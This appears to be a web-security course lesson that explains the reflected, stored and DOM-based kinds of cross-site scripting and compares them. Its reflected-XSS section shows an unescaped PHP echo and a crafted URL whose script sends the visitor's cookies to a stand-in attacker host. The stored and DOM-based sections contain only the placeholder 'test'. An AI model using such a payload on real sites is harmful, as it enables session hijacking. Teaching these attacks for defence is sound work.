Types of XSS

1

Concept

Classification of XSS

The three types of XSS — Reflected, Stored, and DOM-based — are not classified by the actual JavaScript payload.

They are classified by how the untrusted data travels through the application before it executes.

1. Reflected XSS:

The malicious input:

Attacker → Server → Immediate response → Browser

The input is reflected back in the same request/response.

Example: A search parameter is immediately displayed on the search results page.

2. Stored XSS:

The malicious input:

Attacker → Server → Database → Later response → Browser

The application stores the malicious input and displays it later.

Example: A malicious comment is stored in the database and executes whenever someone views the comment.

3. DOM-based XSS

The malicious input:

Attacker → Browser → JavaScript → DOM

The server doesn't need to process the malicious input. JavaScript already running in the browser takes untrusted data and inserts it into the page unsafely.

Example: Client-side JavaScript reads a value from the URL fragment and writes it into the page.

2

Vulnerability

Reflected XSS

⚠️

Vulnerability

Reflected XSS happens when malicious input is sent to the server and the server immediately sends it back in the response.

Nothing is stored in the database.

php:

echo "You searched for: " . $_GET['q'];

Normally: /search.php?q=apple produces You searched for: mobile

But if an attacker puts malicious HTML/JavaScript into the q parameter, and the application doesn't properly encode it, the server may reflect that input directly into the webpage.

A crafted request:

https://example.com/search.php?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>

Visiting that exact URL runs the script. Because the malicious input is usually contained in the request URL, the attacker generally needs to get the victim to make that request.

For example, this could happen through:
A malicious link
A phishing message
A webpage that causes the request to be made
A shortened or disguised URL

3

Vulnerability

Stored XSS

⚠️

Vulnerability

test

4

Vulnerability

DOM-Based XSS

⚠️

Vulnerability

test

5

Explanation

Comparing XSS Types

Reflected XSS requires the attacker to get a crafted link in front of a specific victim each time no persistence, one target per delivered link.

Stored XSS is delivered once and then affects every subsequent visitor automatically, making it the most severe in typical impact even though it's often harder to find.

DOM-based XSS is the odd one out structurally it never involves the server at all, which means it's invisible to server-side defenses and has to be tested and fixed by examining JavaScript directly.

All three can ultimately deliver the same kind of impact what differs is where the flaw actually lives and how a tester has to go about finding it.

6

Summary

Key Takeaways

Summary

The three XSS types differ by data path, not by payload: reflected round-trips in a single request with no storage and needs a delivered link per victim, stored persists once and silently affects every later visitor, DOM-based never reaches the server, making it invisible to server-side protections and detectable only through client-side code review.

Classification of XSS

Reflected XSS

Stored XSS

DOM-Based XSS

Comparing XSS Types

Key Takeaways

Ready for the next lesson?